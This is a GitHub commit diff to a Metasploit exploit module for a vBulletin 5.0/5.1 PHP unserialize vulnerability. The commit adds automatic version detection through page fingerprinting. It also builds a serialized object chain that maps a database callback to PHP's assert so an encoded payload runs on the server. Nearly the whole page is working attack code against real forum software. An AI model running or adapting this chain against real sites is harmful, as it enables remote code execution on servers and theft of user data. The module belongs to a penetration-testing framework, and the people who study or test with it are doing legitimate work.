Skip to content

Commit e2678af

Browse files
committed
The modules now works on 5.1.X and 5.0.X
- Added automatic targeting - Added support for 5.0.X
1 parent f93f339 commit e2678af

File tree

1 file changed

+40
-9
lines changed

1 file changed

+40
-9
lines changed

modules/exploits/unix/webapp/vbulletin_unserialize.rb

Lines changed: 40 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,11 @@ def initialize(info = {})
3535
['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/']
3636
],
3737
'Arch' => ARCH_PHP,
38-
'Targets' => [['vBulletin 5.1.2', {}]],
38+
'Targets' => [
39+
[ 'Automatic Targeting', { 'auto' => true } ],
40+
['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
41+
['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
42+
],
3943
'DisclosureDate' => 'Nov 4 2015',
4044
'DefaultTarget' => 0))
4145

@@ -46,18 +50,45 @@ def initialize(info = {})
4650
end
4751

4852
def check
49-
res = send_request_cgi({ 'uri' => target_uri.path })
50-
if (res && res.body.include?("Version 5.1.") && res.body.include?('Copyright © 2015 vBulletin Solutions, Inc.'))
51-
return Exploit::CheckCode::Appears
52-
else
53-
return Exploit::CheckCode::Unknown
54-
end
55-
Exploit::CheckCode::Safe
53+
begin
54+
res = send_request_cgi({ 'uri' => target_uri.path })
55+
if (res && res.body.include?('vBulletin Solutions, Inc.'))
56+
if res.body.include?("Version 5.0")
57+
@my_target = targets[1] if target['auto']
58+
return Exploit::CheckCode::Appears
59+
elsif res.body.include?("Version 5.1")
60+
@my_target = targets[2] if target['auto']
61+
return Exploit::CheckCode::Appears
62+
else
63+
return Exploit::CheckCode::Detected
64+
end
65+
end
66+
rescue ::Rex::ConnectionError
67+
return Exploit::CheckCode::Safe
68+
end
5669
end
5770

5871
def exploit
72+
print_status("#{peer} - Trying to inferprint the instance...")
73+
74+
@my_target = target
75+
check_code = check
76+
77+
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
78+
fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance")
79+
end
80+
81+
if @my_target.nil? || @my_target['auto']
82+
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
83+
end
84+
85+
print_status("#{peer} - Exploiting #{@my_target.name}...")
5986

60-
chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:18:"vB_Database_MySQLi":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
87+
chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:'
88+
chain << @my_target["chain"].length.to_s
89+
chain << ':"'
90+
chain << @my_target["chain"]
91+
chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
6192
chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}"
6293

6394
chain = Rex::Text.uri_encode(chain)

0 commit comments

Comments
 (0)